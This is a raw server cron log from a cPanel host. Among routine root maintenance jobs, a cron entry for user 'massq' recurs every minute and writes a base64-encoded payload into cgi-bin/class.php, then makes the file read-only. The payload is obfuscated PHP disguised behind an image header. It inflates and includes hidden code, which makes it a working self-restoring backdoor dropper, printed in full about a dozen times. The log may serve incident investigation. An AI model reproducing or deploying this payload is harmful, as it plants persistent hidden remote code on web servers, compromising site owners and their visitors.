Sep  9 12:01:01 server CROND[4894]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:01:01 server run-parts(/etc/cron.hourly)[4893]: starting 0anacron
Sep  9 12:01:01 server run-parts(/etc/cron.hourly)[4913]: finished 0anacron
Sep  9 12:02:01 server CROND[5287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:02:01 server CROND[5289]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:02:01 server CROND[5288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:03:01 server CROND[5687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:03:01 server CROND[5689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:03:01 server CROND[5688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:04:01 server CROND[6224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:04:01 server CROND[6223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:04:01 server CROND[6225]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:05:01 server CROND[6595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:05:01 server CROND[6597]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 12:05:01 server CROND[6599]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:05:01 server CROND[6606]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 12:05:01 server CROND[6607]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:05:01 server CROND[6608]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 12:05:01 server CROND[6613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:05:01 server CROND[6609]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:06:01 server CROND[7423]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:06:01 server CROND[7422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:06:01 server CROND[7424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:07:01 server CROND[7800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:07:01 server CROND[7801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:07:01 server CROND[7802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:08:01 server CROND[8203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:08:01 server CROND[8204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:08:01 server CROND[8202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:09:01 server CROND[8586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:09:01 server CROND[8587]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 12:09:01 server CROND[8585]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:09:01 server CROND[8588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:10:01 server CROND[9076]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 12:10:01 server CROND[9077]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 12:10:01 server CROND[9080]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:10:01 server CROND[9090]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:10:01 server CROND[9093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:10:01 server CROND[9091]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 12:10:01 server CROND[9096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:10:01 server CROND[9092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:11:01 server CROND[9935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:11:01 server CROND[9936]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:11:01 server CROND[9937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:12:01 server CROND[10383]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 12:12:01 server CROND[10384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:12:01 server CROND[10386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:12:01 server CROND[10385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:13:01 server CROND[10757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:13:01 server CROND[10759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:13:01 server CROND[10758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:14:01 server CROND[11128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
